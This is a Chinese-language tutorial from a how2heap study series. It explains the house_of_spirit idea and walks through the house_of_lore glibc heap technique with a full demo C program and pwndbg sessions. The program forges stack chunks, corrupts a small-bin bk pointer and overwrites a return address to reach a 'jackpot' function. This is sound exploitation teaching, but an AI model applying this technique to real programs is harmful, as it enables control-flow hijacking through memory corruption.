how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_lore演示程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "定义了两个数组");
  fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

  intptr_t *victim = malloc(100);
  fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
  intptr_t *victim_chunk = victim-2;//chunk 开始的位置

  fprintf(stderr, "在栈上伪造一块 fake chunk\n");
  fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
  fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);

  fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
  free((void*)victim);

  fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
  void *p2 = malloc(1200);

  fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
  victim[1] = (intptr_t)stack_buffer_1;

  fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
  fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
  void *p3 = malloc(100);

  fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

  fprintf(stderr, "\np4 在栈上 %p\n", p4);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p4+40), &sc, 8);
}

3.调试house_of_lore

3.1 获得可执行程序 

gcc -g house_of_lore.c -o house_of_lore

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_lore
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_lore...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)

这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x603010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8

现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

p4 在栈上 0x7fffffffe5a0
Nice jump d00d
[Inferior 1 (process 99) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第39行并走起

​ 在前面的技术中,我们已经知道怎样去伪造一个fake chunk,接下来,我们要尝试伪造一条small bins链。

​ 首先创建两个chunk,第一个是我们的victim chunk,请确保它是一个small chunk,第二个随意,只是为了确保在free时victim chunk不会被合并进top chunk 里。然后,在栈上伪造两个fake chunk,让fake chunk 1的fd指向victim chunk,bk指向fake chunk 2,fake chunk 2的fd指向fake chunk 1,这样一个small bin链就差不多了。

​ 如下图所示。

pwndbg> b 39
Breakpoint 1 at 0x40094e: file house_of_lore.c, line 39.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)


Breakpoint 1, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:40
40        fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x13
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x13
 R10  0x5
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x40094e (main+556) ◂— mov    rax, qword ptr [rip + 0x20170b]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x40094e <main+556>    mov    rax, qword ptr [rip + 0x20170b] <0x602060>
   0x400955 <main+563>    mov    rdx, qword ptr [rbp - 0x80]
   0x400959 <main+567>    mov    esi, 0x400e78
   0x40095e <main+572>    mov    rdi, rax
   0x400961 <main+575>    mov    eax, 0
   0x400966 <main+580>    call   fprintf@plt <0x4005b0>
 
   0x40096b <main+585>    mov    edi, 0x4b0
   0x400970 <main+590>    call   malloc@plt <0x4005c0>
 
   0x400975 <main+595>    mov    qword ptr [rbp - 0x68], rax
   0x400979 <main+599>    mov    rax, qword ptr [rip + 0x2016e0] <0x602060>
   0x400980 <main+606>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   35 
   36   fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
   37   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
   38   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
   39 
 ► 40   fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
   41   void *p2 = malloc(1200);
   42 
   43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
   44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
   45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 ◂— 0x0
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fc ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40094e main+556
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:39
pwndbg> parseheap

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> parseheap

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
 

victim chunk:

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None

fake chunk2:

0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
fd->fake chunk1

0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d


fake chunk1:

0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

fd->victim chunk

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

bk->fake chunk2

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

从零开始学howtoheap:fastbins的house_of_spirit攻击3-LMLPHP

3.3.2 设置断点第46行并走起

Glibc在malloc的时候会检查small bin链表中第二块chunk的bk指针是否指向第一块,来发现对small bins的破坏。为了绕过这个检查,所以才需要同时伪造bin中的前两个chunk。

​ 接下来释放掉victim chunk,它首先会被放到fast bin中,这时候我们再去malloc一个large chunk,那么就会触发fast bin的合并,然后victim chunk就放到了unsorted bin中,最终被整理到small bin中。

pwndbg> b 46
Breakpoint 2 at 0x4009e1: file house_of_lore.c, line 46.
pwndbg> c
Continuing.
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8


Breakpoint 2, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:47
47        fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1c
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x1c
 R10  0x0
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x4009e1 (main+703) ◂— mov    rax, qword ptr [rip + 0x201678]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4009e1 <main+703>    mov    rax, qword ptr [rip + 0x201678] <0x602060>
   0x4009e8 <main+710>    mov    rcx, rax
   0x4009eb <main+713>    mov    edx, 0x5f
   0x4009f0 <main+718>    mov    esi, 1
   0x4009f5 <main+723>    mov    edi, 0x400f50
   0x4009fa <main+728>    call   fwrite@plt <0x4005e0>
 
   0x4009ff <main+733>    mov    rax, qword ptr [rbp - 0x80]
   0x400a03 <main+737>    lea    rdx, [rax + 8]
   0x400a07 <main+741>    lea    rax, [rbp - 0x30]
   0x400a0b <main+745>    mov    qword ptr [rdx], rax
   0x400a0e <main+748>    mov    rax, qword ptr [rip + 0x20164b] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   42 
   43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
   44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
   45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
   46 
 ► 47   fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
   48   victim[1] = (intptr_t)stack_buffer_1;
   49 
   50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
   51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
   52   void *p3 = malloc(100);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009e1 main+703
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:46
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
largebins
empty
pwndbg> 

3.3.3 设置断点第53行并走起 

​ 接下来的第一个相应大小的malloc,会返回victim chunk的地址

pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk

Breakpoint 4, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:54
54        fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...
 RDI  0x5
 RSI  0x7ffff7dd1b48 (main_arena+40) ◂— 0x0
 R8   0x4e
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x400a58 (main+822) ◂— mov    rax, qword ptr [rip + 0x201601]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400a58 <main+822>    mov    rax, qword ptr [rip + 0x201601] <0x602060>
   0x400a5f <main+829>    mov    rcx, rax
   0x400a62 <main+832>    mov    edx, 0x39
   0x400a67 <main+837>    mov    esi, 1
   0x400a6c <main+842>    mov    edi, 0x401038
   0x400a71 <main+847>    call   fwrite@plt <0x4005e0>
 
   0x400a76 <main+852>    mov    edi, 0x64
   0x400a7b <main+857>    call   malloc@plt <0x4005c0>
 
   0x400a80 <main+862>    mov    qword ptr [rbp - 0x58], rax
   0x400a84 <main+866>    mov    rax, qword ptr [rip + 0x2015d5] <0x602060>
   0x400a8b <main+873>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   49 
   50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
   51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
   52   void *p3 = malloc(100);
   53 
 ► 54   fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
   55   char *p4 = malloc(100);
   56   fprintf(stderr, "p4 = malloc(100)\n");
   57 
   58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
   59 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400a58 main+822
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:53
pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/10gx 0x6030100
0x6030100:      Cannot access memory at address 0x6030100
pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

 pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None

pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

3.3.4 设置断点第63行并走起 

pwndbg> b 63
Breakpoint 3 at 0x400aff: file house_of_lore.c, line 63.
pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

p4 在栈上 0x7fffffffe5a0

Breakpoint 3, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:63
63      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7fffffffe5c8 —▸ 0x4006f6 (jackpot) ◂— push   rbp
 RDI  0x2
 RSI  0x7fffffffbe90 ◂— 0xe6a89ce52034700a
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x1d
 R10  0x0
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x400aff (main+989) ◂— mov    rcx, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400aff <main+989>             mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>
   0x400b03 <main+993>             xor    rcx, qword ptr fs:[0x28]
   0x400b0c <main+1002>            je     main+1009 <0x400b13>
    ↓
   0x400b13 <main+1009>            leave  
   0x400b14 <main+1010>            ret    
 
   0x400b15                        nop    word ptr cs:[rax + rax]
   0x400b1f                        nop    
   0x400b20 <__libc_csu_init>      push   r15
   0x400b22 <__libc_csu_init+2>    push   r14
   0x400b24 <__libc_csu_init+4>    mov    r15d, edi
   0x400b27 <__libc_csu_init+7>    push   r13
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
   59 
   60   fprintf(stderr, "\np4 在栈上 %p\n", p4);
   61   intptr_t sc = (intptr_t)jackpot;
   62   memcpy((p4+40), &sc, 8);
 ► 63 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
03:0018│      0x7fffffffe538 —▸ 0x4006f6 (jackpot) ◂— push   rbp
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400aff main+989
   f 1           4006f6 jackpot
   f 2     7fffffffe6a8
   f 3     7fffffffe6a8
